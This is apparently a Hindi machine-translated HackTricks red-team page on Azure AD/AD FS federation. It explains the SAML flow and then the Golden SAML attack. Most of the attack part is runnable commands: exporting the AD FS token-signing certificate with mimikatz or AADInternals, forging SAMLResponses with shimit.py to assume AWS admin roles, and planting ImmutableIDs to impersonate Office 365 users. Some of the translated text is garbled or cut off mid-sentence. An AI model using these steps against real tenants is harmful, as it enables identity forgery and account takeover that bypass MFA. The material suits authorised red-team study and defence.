Az - Federation

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मौलिक जानकारी

दस्तावेज़ से:संघीकरण एक विश्वास स्थापित करने वाले डोमेनों का संग्रह है। विश्वास का स्तर भिन्न हो सकता है, लेकिन सामान्यत: प्रमाणीकरण शामिल होता है और लगभग हमेशा अधिकारण शामिल होता है। एक सामान्य संघ में एक संस्थानों की संख्या शामिल हो सकती है जिन्होंने संसाधनों का साझा उपयोग के लिए विश्वास स्थापित किया है।

आप अपने on-premises पर्यावरण को Azure AD के साथ संघीयता दे सकते हैं और इस संघीयता का उपयोग प्रमाणीकरण और अधिकारण के लिए कर सकते हैं। यह साइन-इन विधि सुनिश्चित करती है कि सभी उपयोगकर्ता प्रमाणीकरण on-premises पर होता है। यह विधि प्रशासकों को अधिक सख्त स्तरों पर पहुंच नियंत्रण को लागू करने की अनुमति देती है। AD FS और PingFederate के साथ संघीयता उपलब्ध है।

संघ में, सभी प्रमाणीकरण on-prem पर होता है और उपयोगकर्ता को सभी विश्वसनीय पर्यावरणों में SSO का अनुभव होता है। इसलिए, उपयोगकर्ता अपने on-prem credentials का उपयोग करके cloud एप्लिकेशन तक पहुंच सकते हैं।

सुरक्षा दावा मार्गक भाषा (SAML) का उपयोग प्रदानकर्ताओं के बीच सभी प्रमाणीकरण और अधिकारण जानकारी का आदान-प्रदान करने के लिए किया जाता है।

किसी भी संघ सेटअप में तीन पक्ष होते हैं:

  • उपयोगकर्ता या ग्राहक

  • पहचान प्रदाता (IdP)

  • सेवा प्रदाता (SP)

(छवियाँ https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. पहले, एक एप्लिकेशन (सेवा प्रदाता या SP, जैसे AWS कंसोल या vSphere वेब क्लाइंट) एक उपयोगकर्ता द्वारा एक्सेस किया जाता है। इस कदम को छोड़ दिया जा सकता है, जिससे क्लाइंट सीधे IdP (पहचान प्रदाता) पर पहुंच जाता है, विशिष्ट कार्यान्वयन पर निर्भर करता है।

  2. इसके बाद, SP उपयुक्त IdP (जैसे, AD FS, Okta) को उपयोगकर्ता प्रमाणीकरण के लिए पहचानता है। फिर यह एक SAML (सुरक्षा दावा मार्गक भाषा) AuthnRequest बनाता है और क्लाइंट को चुने गए IdP पर पुनर्निर्देशित करता है।

  3. IdP उपयोगकर्ता की पहचान करता है। पोस्ट-प्रमाणीकरण, IdP द्वारा एक SAMLResponse तैयार किया जाता है और उपयोगकर्ता के माध्यम से SP को फॉरवर्ड किया जाता है।

  4. अंततः, SP SAMLResponse का मूल्यांकन करता है। यदि सफलतापूर्वक सत्यापित होता है, जिससे IdP के साथ विश्वास संबंध होता है, तो उपयोगकर्ता को पहुंच दी जाती है। यह लॉगिन प्रक्रिया का समापन होता है, जिससे उपयोगकर्ता सेवा का उपयोग कर सकता है।

यदि आप SAML प्रमाणीकरण और सामान्य हमलों के बारे में अधिक जानना चाहते हैं तो जाएं:

पिवोटिंग

  • AD FS एक दावा-आधारित पहचान मॉडल है।

  • "..claimsaresimplystatements(forexample,name,identity,group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet."

  • उपयोगकर्ता के लिए दावे SAML टोकन्स में लिखे जाते हैं और फिर उन्हें IdP द्वारा गोपनीयता प्रदान करने के लिए हस्ताक्षर किया जाता है।

  • एक उपयोगकर्ता को ImmutableID द्वारा पहचाना जाता है। यह वैश्विक अद्वितीय है और Azure AD में संग्रहीत है।

  • TheImmuatbleIDisstoredon-premasms-DS-ConsistencyGuidforthe user and/or can be derived from the GUID of the user.

Golden SAML हमला:

  • ADFS में, SAML Response को एक टोकन-हस्ताक्षरण प्रमाणपत्र द्वारा हस्ताक्षरित किया जाता है।

  • यदि प्रमाणपत्र को कंप्रोमाइज़ किया गया है, तो Azure AD में सिंक किए गए किसी भी उपयोगकर्ता के रूप में प्रमाणीकरण किया जा सकता है!

  • हम केवल हमारे PTA दुरुपयोग की तरह हैं, उपयोगकर्ता के लिए पासवर्ड बदलने या MFA का कोई प्रभाव नहीं होगा क्योंकि हम प्रमाणीकरण प्रतिक्रिया को झूठा बना रहे हैं।

  • प्रमाणपत्र को AD FS सर्वर से डीए प्रगतियों के साथ निकाला जा सकता है और फिर किसी भी इंटरनेट से कनेक्टेड मशीन से उपयोग किया जा सकता है।

Golden SAML

प्रमाण प्रदाता (IdP) एक SAMLResponse उत्पन्न करने के लिए प्रमाणित करने के लिए एक महत्वपूर्ण प्रक्रिया है। IdP के विशिष्ट कार्यान्वयन पर निर्भर करते हुए, प्रतिक्रिया को हस्ताक्षरित या एन्क्रिप्ट किया जा सकता है जिसमें IdP की निजी कुंजी का उपयोग किया जाता है। यह प्रक्रिया सुनिश्चित करती है कि SP वास्तव में एक विश्वसनीय IdP द्वारा जारी किया गया SAMLResponse की मान्यता की पुष्टि कर सकता है।

एक स्वरुपण गोल्डन टिकट हमले के साथ खिलाप किया जा सकता है, जहां उपयोगकर्ता की पहचान और अनुमतियों को प्रमाणित करने वाली कुंजी (गोल्डन टिकट के लिए KRBTGT, गोल्डन SAML के ल

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

With all the information, it's possible to forget a valid SAMLResponse as the user you want to impersonate using shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

ऑन-प्रेम -> क्लाउड

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

यह भी संभव है कि क्लाउड केवल उपयोगकर्ताओं का ImmutableID बनाया जा सकता है और उनकी प्रतिनिधित्व की जा सकती है

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated